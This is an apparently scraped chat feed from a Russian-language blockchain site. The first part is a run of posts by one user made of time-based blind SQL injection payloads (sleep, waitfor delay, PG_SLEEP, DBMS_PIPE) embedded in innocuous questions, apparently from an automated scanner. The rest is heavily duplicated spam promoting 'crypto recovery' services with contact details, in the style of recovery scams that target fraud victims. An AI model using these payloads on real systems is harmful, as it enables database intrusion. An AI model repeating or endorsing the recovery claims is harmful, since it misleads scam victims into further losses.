  • 09.10.25 08:23 pHqghUme

    (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

  • 09.10.25 08:24 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:24 pHqghUme

    e

  • 09.10.25 08:24 pHqghUme

    can I ask you a question please?-1 waitfor delay '0:0:15' --

  • 09.10.25 08:25 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:25 pHqghUme

    e

  • 09.10.25 08:25 pHqghUme

    e

  • 09.10.25 08:25 pHqghUme

    e

  • 09.10.25 08:25 pHqghUme

    can I ask you a question please?9IDOn7ik'; waitfor delay '0:0:15' --

  • 09.10.25 08:26 pHqghUme

    can I ask you a question please?MQOVJH7P' OR 921=(SELECT 921 FROM PG_SLEEP(15))--

  • 09.10.25 08:26 pHqghUme

    e

  • 09.10.25 08:27 pHqghUme

    can I ask you a question please?64e1xqge') OR 107=(SELECT 107 FROM PG_SLEEP(15))--

  • 09.10.25 08:27 pHqghUme

    can I ask you a question please?ODDe7Ze5')) OR 82=(SELECT 82 FROM PG_SLEEP(15))--

  • 09.10.25 08:28 pHqghUme

    can I ask you a question please?'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

  • 09.10.25 08:28 pHqghUme

    can I ask you a question please?'"

  • 09.10.25 08:28 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:28 pHqghUme

    @@olQP6

  • 09.10.25 08:28 pHqghUme

    (select 198766*667891 from DUAL)

  • 09.10.25 08:28 pHqghUme

    (select 198766*667891)

  • 09.10.25 08:30 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:33 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:34 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:34 pHqghUme

    if(now()=sysdate(),sleep(15),0)

  • 09.10.25 08:35 pHqghUme

    e

  • 09.10.25 08:36 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:36 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:37 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:37 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:37 pHqghUme

    e

  • 09.10.25 08:37 pHqghUme

    e

  • 09.10.25 08:40 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:40 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:41 pHqghUme

    e

  • 09.10.25 08:41 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:42 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:42 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:42 pHqghUme

    e

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 11.10.25 04:41 luciajessy3

    Don’t be deceived by different testimonies online that is most likely wrong. I have made use of several recovery options that got me disappointed at the end of the day but I must confess that the tech genius I eventually found is the best out here. It’s better you devise your time to find the valid professional that can help you recover your stolen or lost crypto such as bitcoins rather than falling victim of other amateur hackers that cannot get the job done. ADAMWILSON . TRADING @ CONSULTANT COM / WHATSAPP ; +1 (603) 702 ( 4335 ) is the most reliable and authentic blockchain tech expert you can work with to recover what you lost to scammers. They helped me get back on my feet and I’m very grateful for that. Contact their email today to recover your lost coins ASAP…

  • 11.10.25 10:44 Tonerdomark

    A thief took my Dogecoin and wrecked my life. Then Mr. Sylvester stepped in and changed everything. He got back €211,000 for me, every single cent of my gains. His calm confidence and strong tech skills rebuilt my trust. Thanks to him, I recovered my cash with no issues. After months of stress, I felt huge relief. I had full faith in him. If a scam stole your money, reach out to him today at { yt7cracker@gmail . com } His help sparked my full turnaround.

  • 12.10.25 01:12 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 12.10.25 01:12 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 12.10.25 19:53 Tonerdomark

    A crook swiped my Dogecoin. It ruined my whole world. Then Mr. Sylvester showed up. He fixed it all. He pulled back €211,000 for me. Not one cent missing from my profits. His steady cool and sharp tech know-how won back my trust. I got my money smooth and sound. After endless worry, relief hit me hard. I trusted him completely. Lost cash to a scam? Hit him up now at { yt7cracker@gmail . com }. His aid turned my life around. WhatsApp at +1 512 577 7957.

  • 12.10.25 21:36 blessing

    Writing this review is a joy. Marie has provided excellent service ever since I started working with her in early 2018. I was worried I wouldn't be able to get my coins back after they were stolen by hackers. I had no idea where to begin, therefore it was a nightmare for me. However, things became easier for me after my friend sent me to [email protected] and +1 7127594675 on WhatsApp. I'm happy that she was able to retrieve my bitcoin so that I could resume trading.

  • 13.10.25 01:11 elizabethrush89

    God bless Capital Crypto Recover Services for the marvelous work you did in my life, I have learned the hard way that even the most sensible investors can fall victim to scams. When my USD was stolen, for anyone who has fallen victim to one of the bitcoin binary investment scams that are currently ongoing, I felt betrayal and upset. But then I was reading a post on site when I saw a testimony of Wendy Taylor online who recommended that Capital Crypto Recovery has helped her recover scammed funds within 24 hours. after reaching out to this cyber security firm that was able to help me recover my stolen digital assets and bitcoin. I’m genuinely blown away by their amazing service and professionalism. I never imagined I’d be able to get my money back until I complained to Capital Crypto Recovery Services about my difficulties and gave all of the necessary paperwork. I was astounded that it took them 12 hours to reclaim my stolen money back. Without a doubt, my USDT assets were successfully recovered from the scam platform, Thank you so much Sir, I strongly recommend Capital Crypto Recover for any of your bitcoin recovery, digital funds recovery, hacking, and cybersecurity concerns. You reach them Call/Text Number +1 (336)390-6684 His Email: [email protected] Contact Telegram: @Capitalcryptorecover Via Contact: [email protected] His website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 13.10.25 01:11 elizabethrush89

    God bless Capital Crypto Recover Services for the marvelous work you did in my life, I have learned the hard way that even the most sensible investors can fall victim to scams. When my USD was stolen, for anyone who has fallen victim to one of the bitcoin binary investment scams that are currently ongoing, I felt betrayal and upset. But then I was reading a post on site when I saw a testimony of Wendy Taylor online who recommended that Capital Crypto Recovery has helped her recover scammed funds within 24 hours. after reaching out to this cyber security firm that was able to help me recover my stolen digital assets and bitcoin. I’m genuinely blown away by their amazing service and professionalism. I never imagined I’d be able to get my money back until I complained to Capital Crypto Recovery Services about my difficulties and gave all of the necessary paperwork. I was astounded that it took them 12 hours to reclaim my stolen money back. Without a doubt, my USDT assets were successfully recovered from the scam platform, Thank you so much Sir, I strongly recommend Capital Crypto Recover for any of your bitcoin recovery, digital funds recovery, hacking, and cybersecurity concerns. You reach them Call/Text Number +1 (336)390-6684 His Email: [email protected] Contact Telegram: @Capitalcryptorecover Via Contact: [email protected] His website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 14.10.25 01:15 tyleradams

    Hi. Please be wise, do not make the same mistake I had made in the past, I was a victim of bitcoin scam, I saw a glamorous review showering praises and marketing an investment firm, I reached out to them on what their contracts are, and I invested $28,000, which I was promised to get my first 15% profit in weeks, when it’s time to get my profits, I got to know the company was bogus, they kept asking me to invest more and I ran out of patience then requested to have my money back, they refused to answer nor refund my funds, not until a friend of mine introduced me to the NVIDIA TECH HACKERS, so I reached out and after tabling my complaints, they were swift to action and within 36 hours I got back my funds with the due profit. I couldn’t contain the joy in me. I urge you guys to reach out to NVIDIA TECH HACKERS on their email: [email protected]

  • 14.10.25 08:46 robertalfred175

    CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 14.10.25 08:46 robertalfred175

    CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 14.10.25 08:46 robertalfred175

    CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 15.10.25 18:07 crypto

    Cryptocurrency's digital realm presents many opportunities, but it also conceals complex frauds. It is quite painful to lose your cryptocurrency to scam. You can feel harassed and lost as a result. If you have been the victim of a cryptocurrency scam, this guide explains what to do ASAP. Following these procedures will help you avoid further issues or get your money back. Communication with Marie ([email protected] and WhatsApp: +1 7127594675) can make all the difference.

  • 15.10.25 21:52 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 15.10.25 21:52 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

Для участия в Чате вам необходим бесплатный аккаунт pro-blockchain.com Войти Регистрация
Есть вопросы?
С вами на связи 24/7
Help Icon